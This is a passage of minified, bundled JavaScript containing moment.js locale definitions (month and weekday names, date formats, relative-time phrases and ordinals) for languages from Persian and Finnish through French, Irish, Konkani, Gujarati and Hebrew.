t={1:"۱",2:"۲",3:"۳",4:"۴",5:"۵",6:"۶",7:"۷",8:"۸",9:"۹",0:"۰"},n={"۱":"1","۲":"2","۳":"3","۴":"4","۵":"5","۶":"6","۷":"7","۸":"8","۹":"9","۰":"0"};e.defineLocale("fa",{months:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),monthsShort:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),weekdays:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysShort:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysMin:"ی_د_س_چ_پ_ج_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/قبل از ظهر|بعد از ظهر/,isPM:function(e){return/بعد از ظهر/.test(e)},meridiem:function(e,t,n){return e<12?"قبل از ظهر":"بعد از ظهر"},calendar:{sameDay:"[امروز ساعت] LT",nextDay:"[فردا ساعت] LT",nextWeek:"dddd [ساعت] LT",lastDay:"[دیروز ساعت] LT",lastWeek:"dddd [پیش] [ساعت] LT",sameElse:"L"},relativeTime:{future:"در %s",past:"%s پیش",s:"چند ثانیه",ss:"%d ثانیه",m:"یک دقیقه",mm:"%d دقیقه",h:"یک ساعت",hh:"%d ساعت",d:"یک روز",dd:"%d روز",M:"یک ماه",MM:"%d ماه",y:"یک سال",yy:"%d سال"},preparse:function(e){return e.replace(/[۰-۹]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},dayOfMonthOrdinalParse:/\d{1,2}م/,ordinal:"%dم",week:{dow:6,doy:12}})}(n(30381))},11897:function(e,t,n){!function(e){"use strict";var t="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),n=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",t[7],t[8],t[9]];function a(e,t,n,a){var r="";switch(n){case"s":return a?"muutaman sekunnin":"muutama sekunti";case"ss":r=a?"sekunnin":"sekuntia";break;case"m":return a?"minuutin":"minuutti";case"mm":r=a?"minuutin":"minuuttia";break;case"h":return a?"tunnin":"tunti";case"hh":r=a?"tunnin":"tuntia";break;case"d":return a?"päivän":"päivä";case"dd":r=a?"päivän":"päivää";break;case"M":return a?"kuukauden":"kuukausi";case"MM":r=a?"kuukauden":"kuukautta";break;case"y":return a?"vuoden":"vuosi";case"yy":r=a?"vuoden":"vuotta"}return r=i(e,a)+" "+r}function i(e,a){return e<10?a?n[e]:t[e]:e}e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},42549:function(e,t,n){!function(e){"use strict";e.defineLocale("fil",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n(30381))},94694:function(e,t,n){!function(e){"use strict";e.defineLocale("fo",{months:"januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"),weekdaysShort:"sun_mán_týs_mik_hós_frí_ley".split("_"),weekdaysMin:"su_má_tý_mi_hó_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[Í dag kl.] LT",nextDay:"[Í morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[Í gjár kl.] LT",lastWeek:"[síðstu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s síðani",s:"fá sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein tími",hh:"%d tímar",d:"ein dagur",dd:"%d dagar",M:"ein mánaður",MM:"%d mánaðir",y:"eitt ár",yy:"%d ár"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},63049:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ca",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}}})}(n(30381))},52330:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ch",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n(30381))},94470:function(e,t,n){!function(e){"use strict";var t=/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,n=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?)/i,a=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?|janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,i=[/^janv/i,/^févr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^août/i,/^sept/i,/^oct/i,/^nov/i,/^déc/i];e.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsRegex:a,monthsShortRegex:a,monthsStrictRegex:t,monthsShortStrictRegex:n,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n(30381))},5044:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"),n="jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_");e.defineLocale("fy",{months:"jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsParseExact:!0,weekdays:"snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"),weekdaysShort:"si._mo._ti._wo._to._fr._so.".split("_"),weekdaysMin:"Si_Mo_Ti_Wo_To_Fr_So".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[hjoed om] LT",nextDay:"[moarn om] LT",nextWeek:"dddd [om] LT",lastDay:"[juster om] LT",lastWeek:"[ôfrûne] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oer %s",past:"%s lyn",s:"in pear sekonden",ss:"%d sekonden",m:"ien minút",mm:"%d minuten",h:"ien oere",hh:"%d oeren",d:"ien dei",dd:"%d dagen",M:"ien moanne",MM:"%d moannen",y:"ien jier",yy:"%d jierren"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(30381))},29295:function(e,t,n){!function(e){"use strict";var t=["Eanáir","Feabhra","Márta","Aibreán","Bealtaine","Meitheamh","Iúil","Lúnasa","Meán Fómhair","Deireadh Fómhair","Samhain","Nollaig"],n=["Ean","Feabh","Márt","Aib","Beal","Meith","Iúil","Lún","M.F.","D.F.","Samh","Noll"],a=["Dé Domhnaigh","Dé Luain","Dé Máirt","Dé Céadaoin","Déardaoin","Dé hAoine","Dé Sathairn"],i=["Domh","Luan","Máirt","Céad","Déar","Aoine","Sath"],r=["Do","Lu","Má","Cé","Dé","A","Sa"];e.defineLocale("ga",{months:t,monthsShort:n,monthsParseExact:!0,weekdays:a,weekdaysShort:i,weekdaysMin:r,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Inniu ag] LT",nextDay:"[Amárach ag] LT",nextWeek:"dddd [ag] LT",lastDay:"[Inné ag] LT",lastWeek:"dddd [seo caite] [ag] LT",sameElse:"L"},relativeTime:{future:"i %s",past:"%s ó shin",s:"cúpla soicind",ss:"%d soicind",m:"nóiméad",mm:"%d nóiméad",h:"uair an chloig",hh:"%d uair an chloig",d:"lá",dd:"%d lá",M:"mí",MM:"%d míonna",y:"bliain",yy:"%d bliain"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n(30381))},2101:function(e,t,n){!function(e){"use strict";var t=["Am Faoilleach","An Gearran","Am Màrt","An Giblean","An Cèitean","An t-Ògmhios","An t-Iuchar","An Lùnastal","An t-Sultain","An Dàmhair","An t-Samhain","An Dùbhlachd"],n=["Faoi","Gear","Màrt","Gibl","Cèit","Ògmh","Iuch","Lùn","Sult","Dàmh","Samh","Dùbh"],a=["Didòmhnaich","Diluain","Dimàirt","Diciadain","Diardaoin","Dihaoine","Disathairne"],i=["Did","Dil","Dim","Dic","Dia","Dih","Dis"],r=["Dò","Lu","Mà","Ci","Ar","Ha","Sa"];e.defineLocale("gd",{months:t,monthsShort:n,monthsParseExact:!0,weekdays:a,weekdaysShort:i,weekdaysMin:r,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[An-diugh aig] LT",nextDay:"[A-màireach aig] LT",nextWeek:"dddd [aig] LT",lastDay:"[An-dè aig] LT",lastWeek:"dddd [seo chaidh] [aig] LT",sameElse:"L"},relativeTime:{future:"ann an %s",past:"bho chionn %s",s:"beagan diogan",ss:"%d diogan",m:"mionaid",mm:"%d mionaidean",h:"uair",hh:"%d uairean",d:"latha",dd:"%d latha",M:"mìos",MM:"%d mìosan",y:"bliadhna",yy:"%d bliadhna"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n(30381))},38794:function(e,t,n){!function(e){"use strict";e.defineLocale("gl",{months:"xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"),monthsShort:"xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"domingo_luns_martes_mércores_xoves_venres_sábado".split("_"),weekdaysShort:"dom._lun._mar._mér._xov._ven._sáb.".split("_"),weekdaysMin:"do_lu_ma_mé_xo_ve_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoxe "+(1!==this.hours()?"ás":"á")+"] LT"},nextDay:function(){return"[mañá "+(1!==this.hours()?"ás":"á")+"] LT"},nextWeek:function(){return"dddd ["+(1!==this.hours()?"ás":"a")+"] LT"},lastDay:function(){return"[onte "+(1!==this.hours()?"á":"a")+"] LT"},lastWeek:function(){return"[o] dddd [pasado "+(1!==this.hours()?"ás":"a")+"] LT"},sameElse:"L"},relativeTime:{future:function(e){return 0===e.indexOf("un")?"n"+e:"en "+e},past:"hai %s",s:"uns segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"unha hora",hh:"%d horas",d:"un día",dd:"%d días",M:"un mes",MM:"%d meses",y:"un ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},27884:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={s:["थोडया सॅकंडांनी","थोडे सॅकंड"],ss:[e+" सॅकंडांनी",e+" सॅकंड"],m:["एका मिणटान","एक मिनूट"],mm:[e+" मिणटांनी",e+" मिणटां"],h:["एका वरान","एक वर"],hh:[e+" वरांनी",e+" वरां"],d:["एका दिसान","एक दीस"],dd:[e+" दिसांनी",e+" दीस"],M:["एका म्हयन्यान","एक म्हयनो"],MM:[e+" म्हयन्यानी",e+" म्हयने"],y:["एका वर्सान","एक वर्स"],yy:[e+" वर्सांनी",e+" वर्सां"]};return a?i[n][0]:i[n][1]}e.defineLocale("gom-deva",{months:{standalone:"जानेवारी_फेब्रुवारी_मार्च_एप्रील_मे_जून_जुलय_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),format:"जानेवारीच्या_फेब्रुवारीच्या_मार्चाच्या_एप्रीलाच्या_मेयाच्या_जूनाच्या_जुलयाच्या_ऑगस्टाच्या_सप्टेंबराच्या_ऑक्टोबराच्या_नोव्हेंबराच्या_डिसेंबराच्या".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"जाने._फेब्रु._मार्च_एप्री._मे_जून_जुल._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"आयतार_सोमार_मंगळार_बुधवार_बिरेस्तार_सुक्रार_शेनवार".split("_"),weekdaysShort:"आयत._सोम._मंगळ._बुध._ब्रेस्त._सुक्र._शेन.".split("_"),weekdaysMin:"आ_सो_मं_बु_ब्रे_सु_शे".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [वाजतां]",LTS:"A h:mm:ss [वाजतां]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [वाजतां]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [वाजतां]",llll:"ddd, D MMM YYYY, A h:mm [वाजतां]"},calendar:{sameDay:"[आयज] LT",nextDay:"[फाल्यां] LT",nextWeek:"[फुडलो] dddd[,] LT",lastDay:"[काल] LT",lastWeek:"[फाटलो] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s आदीं",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(वेर)/,ordinal:function(e,t){switch(t){case"D":return e+"वेर";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/राती|सकाळीं|दनपारां|सांजे/,meridiemHour:function(e,t){return 12===e&&(e=0),"राती"===t?e<4?e:e+12:"सकाळीं"===t?e:"दनपारां"===t?e>12?e:e+12:"सांजे"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"राती":e<12?"सकाळीं":e<16?"दनपारां":e<20?"सांजे":"राती"}})}(n(30381))},23168:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={s:["thoddea sekondamni","thodde sekond"],ss:[e+" sekondamni",e+" sekond"],m:["eka mintan","ek minut"],mm:[e+" mintamni",e+" mintam"],h:["eka voran","ek vor"],hh:[e+" voramni",e+" voram"],d:["eka disan","ek dis"],dd:[e+" disamni",e+" dis"],M:["eka mhoinean","ek mhoino"],MM:[e+" mhoineamni",e+" mhoine"],y:["eka vorsan","ek voros"],yy:[e+" vorsamni",e+" vorsam"]};return a?i[n][0]:i[n][1]}e.defineLocale("gom-latn",{months:{standalone:"Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"),format:"Janerachea_Febrerachea_Marsachea_Abrilachea_Maiachea_Junachea_Julaiachea_Agostachea_Setembrachea_Otubrachea_Novembrachea_Dezembrachea".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Aitar_Somar_Mongllar_Budhvar_Birestar_Sukrar_Son'var".split("_"),weekdaysShort:"Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"),weekdaysMin:"Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [vazta]",LTS:"A h:mm:ss [vazta]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [vazta]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [vazta]",llll:"ddd, D MMM YYYY, A h:mm [vazta]"},calendar:{sameDay:"[Aiz] LT",nextDay:"[Faleam] LT",nextWeek:"[Fuddlo] dddd[,] LT",lastDay:"[Kal] LT",lastWeek:"[Fattlo] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s adim",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(er)/,ordinal:function(e,t){switch(t){case"D":return e+"er";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/rati|sokallim|donparam|sanje/,meridiemHour:function(e,t){return 12===e&&(e=0),"rati"===t?e<4?e:e+12:"sokallim"===t?e:"donparam"===t?e>12?e:e+12:"sanje"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"rati":e<12?"sokallim":e<16?"donparam":e<20?"sanje":"rati"}})}(n(30381))},95349:function(e,t,n){!function(e){"use strict";var t={1:"૧",2:"૨",3:"૩",4:"૪",5:"૫",6:"૬",7:"૭",8:"૮",9:"૯",0:"૦"},n={"૧":"1","૨":"2","૩":"3","૪":"4","૫":"5","૬":"6","૭":"7","૮":"8","૯":"9","૦":"0"};e.defineLocale("gu",{months:"જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"),monthsShort:"જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"),monthsParseExact:!0,weekdays:"રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"),weekdaysShort:"રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"),weekdaysMin:"ર_સો_મં_બુ_ગુ_શુ_શ".split("_"),longDateFormat:{LT:"A h:mm વાગ્યે",LTS:"A h:mm:ss વાગ્યે",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm વાગ્યે",LLLL:"dddd, D MMMM YYYY, A h:mm વાગ્યે"},calendar:{sameDay:"[આજ] LT",nextDay:"[કાલે] LT",nextWeek:"dddd, LT",lastDay:"[ગઇકાલે] LT",lastWeek:"[પાછલા] dddd, LT",sameElse:"L"},relativeTime:{future:"%s મા",past:"%s પહેલા",s:"અમુક પળો",ss:"%d સેકંડ",m:"એક મિનિટ",mm:"%d મિનિટ",h:"એક કલાક",hh:"%d કલાક",d:"એક દિવસ",dd:"%d દિવસ",M:"એક મહિનો",MM:"%d મહિનો",y:"એક વર્ષ",yy:"%d વર્ષ"},preparse:function(e){return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/રાત|બપોર|સવાર|સાંજ/,meridiemHour:function(e,t){return 12===e&&(e=0),"રાત"===t?e<4?e:e+12:"સવાર"===t?e:"બપોર"===t?e>=10?e:e+12:"સાંજ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"રાત":e<10?"સવાર":e<17?"બપોર":e<20?"સાંજ":"રાત"},week:{dow:0,doy:6}})}(n(30381))},24206:function(e,t,n){!function(e){"use strict";e.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(e){return 2===e?"שעתיים":e+" שעות"},d:"יום",dd:function(e){return 2===e?"יומיים":e+" ימים"},M:"חודש",MM:function(e){return 2===e?"חודשיים":e+" חודשים"},y:"שנה",yy:function(e){return 2===e?"שנתיים":e%10==0&&10!==e?e+" שנה":e+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(e){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(e)},meridiem:function(e,t,n){return e<5?"לפנות בוקר":e<10?"בבוקר":e<12?n?'לפנה"צ':"לפני הצהריים":e<18?n?'אחה"צ':"אחרי הצהריים":"בערב"}})}(n(30381))},30094:function(e,t,n){!function(e){"use strict";var 